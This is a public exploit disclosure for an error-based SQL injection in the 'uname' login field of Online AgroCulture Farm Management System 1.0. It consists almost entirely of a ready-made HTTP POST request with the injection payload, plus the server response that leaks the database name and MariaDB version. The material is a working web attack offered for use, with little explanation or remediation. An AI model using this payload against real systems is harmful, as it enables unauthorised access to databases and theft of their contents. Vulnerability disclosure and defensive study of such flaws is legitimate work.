Online AgroCulture Farm Management System 1.0 SQL Injection

`# Exploit Title: Online AgroCulture Farm Management System 1.0 - 'uname' SQL Injection  
# Date: 2020-05-06  
# Exploit Author: Tarun Sehgal  
# Vendor Homepage: https://www.sourcecodester.com/  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/donbermoy/farm_management_system_in_php_with_source_code.zip  
# Version: 1.0  
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4  
  
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#parameter Vulnerable: uname  
# Injected Request  
#Below request will print database name and MariaDB version.  
  
POST /fms/Login/login.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 204  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/fms/index.php  
Cookie: PHPSESSID=fiiiu7pq9kvhdr770ahd7dejco  
Upgrade-Insecure-Requests: 1  
  
uname=admin' OR (SELECT 1935 FROM(SELECT COUNT(*),CONCAT(database(),(SELECT (ELT(1935=1935,1))),0x3a,version(),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- dqgD&pass=admin&category=1  
  
  
  
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#Response  
HTTP/1.1 302 Found  
Date: Wed, 06 May 2020 13:21:36 GMT  
Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.5  
X-Powered-By: PHP/7.4.5  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
location: error.php  
Content-Length: 356  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
  
<b>Warning</b>: mysqli_query(): (23000/1062): Duplicate entry 'agroculture1:10.4.11-MariaDB1' for key 'group_key' in <b>  
`